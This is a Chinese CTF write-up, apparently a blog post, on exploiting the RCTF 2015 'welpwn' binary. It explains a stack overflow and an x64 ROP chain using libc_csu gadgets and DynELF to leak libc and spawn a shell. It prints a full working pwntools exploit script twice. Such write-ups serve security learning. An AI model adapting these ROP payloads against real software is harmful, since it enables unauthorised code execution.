RCTF 2015 welpwn [ROP] [x64通用gadgets]

本文详细介绍了一种利用ROP技术解决welpwn程序中的栈缓冲区溢出漏洞的方法。通过分析main函数和echo函数,发现了0x18字节的溢出点。利用DynELF工具获取system、gets和write函数地址,结合ROP gadget,实现了write函数的地址泄露,读取/bin/sh并存入bss段,最终通过system函数执行shell。文章提供了完整的Python脚本实现。
部署运行你感兴趣的模型镜像

先checksec一下:

漏洞点其实蛮好找的:程序里也没几个函数

main函数中read了一个字符串,然后当成参数传递给了echo函数

在echo中的函数的接收buffer长度仅仅为0x10,而且是一个一个字符赋值的,栈缓冲区溢出漏洞,0x10 + 0x8 = 0x18个填充

控制了ESP之后,程序开启了NX,一定想到的是ROP

这里的基础知识是:

http://www.vuln.cn/6645

http://www.vuln.cn/6644

http://www.vuln.cn/6643

这三篇算是ROP的基础入门,涉及X86、X64以及通用gadgets的使用

这里的思路及步骤是:

(1)利用DynELF工具,弄出来system、gets、write函数的地址

(2)调用gets函数读取"/bin/sh",存入bss段

(3)调用system函数执行参数"/bin/sh"

最常用的就是这一段代码,先来写第一段,利用write函数泄露地址:执行write(1, write_got, 8)

1表示标准输出(屏幕),8代表长度,write_got为地址

根据x64原则,即:write(rdi = 1, rsi = write.got, rdx = 8)

于是有如下的赋值:

rbx=0,rbp=1,r12为write函数地址,r13为8,r14为write函数地址,r15为1

第一段如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

io = process("./welpwn")
context(arch = "amd64", os = "linux")

elf = ELF("./welpwn")
read_got = elf.symbols['got.read']
write_got = elf.symbols['got.write']
main = elf.symbols['main']

m3c = 0x400880
p6r = 0x40089A
p4r = 0x40089C

flag = 0

def leak(address):
    global flag
    rbx = 0
    rbp = 1
    r12 = write_got
    r13 = 8
    r14 = address
    r15 = 1
    ret = m3c
    payload = "A" * 16 + "B" * 8
    payload += p64(p4r) + p64(p6r)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
    ret = main
    payload += p64(0) * 7 + p64(ret)
    io.recvuntil("Welcome to RCTF\n")
    io.sendline(payload)
    if flag:
        io.recv(0x1b)
    addr = io.recv(8)
    #log.info("recv:" + str(addr))
    flag += 1
    return addr

d = DynELF(leak, elf = ELF("./welpwn"))
system = d.lookup("system", "libc")
log.info("system addr = " + hex(system))
io.interactive()

下一步是利用相同gadgets执行read(rdi = 0, rsi = bss_start, rdx = 8)

即有:

rbx=0,rbp=1,r12为read函数地址,r13为8,r14为bss_start,r15为0

#read(0, bss_start, 24)
bss = 0x601300
rbx = 0
rbp = 1
r12 = read_got
r13 = 24
r14 = bss
r15 = 0
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("RCTF\n")
sleep(1)
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00" + p64(system))

同理,执行system("/bin/sh")也是一样,代码合并如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

io = process("./welpwn")
context(arch = "amd64", os = "linux")

elf = ELF("./welpwn")
read_got = elf.symbols['got.read']
write_got = elf.symbols['got.write']
main = elf.symbols['main']

m3c = 0x400880
p6r = 0x40089A
p4r = 0x40089C

flag = 0

def leak(address):
    global flag
    rbx = 0
    rbp = 1
    r12 = write_got
    r13 = 8
    r14 = address
    r15 = 1
    ret = m3c
    payload = "A" * 16 + "B" * 8
    payload += p64(p4r) + p64(p6r)
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
    ret = main
    payload += p64(0) * 7 + p64(ret)
    io.recvuntil("Welcome to RCTF\n")
    io.sendline(payload)
    if flag:
        io.recv(0x1b)
    addr = io.recv(8)
    #log.info("recv:" + str(addr))
    flag += 1
    return addr

d = DynELF(leak, elf = ELF("./welpwn"))
system = d.lookup("system", "libc")
log.info("system addr = " + hex(system))


#read(0, bss_start, 24)
bss = 0x601300
rbx = 0
rbp = 1
r12 = read_got
r13 = 24
r14 = bss
r15 = 0
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("RCTF\n")
sleep(1)
io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00" + p64(system))


#system("/bin/sh")
rbx = 0
rbp = 1
r12 = bss + 8
r13 = r14 = r15 = bss
ret = m3c
payload = "A" * 16 + "B" * 8
payload += p64(p4r) + p64(p6r)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(0) * 7 + p64(ret)
io.recvuntil("RCTF\n")
io.sendline(payload)
sleep(1)
io.recv()
io.interactive()

 

 

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值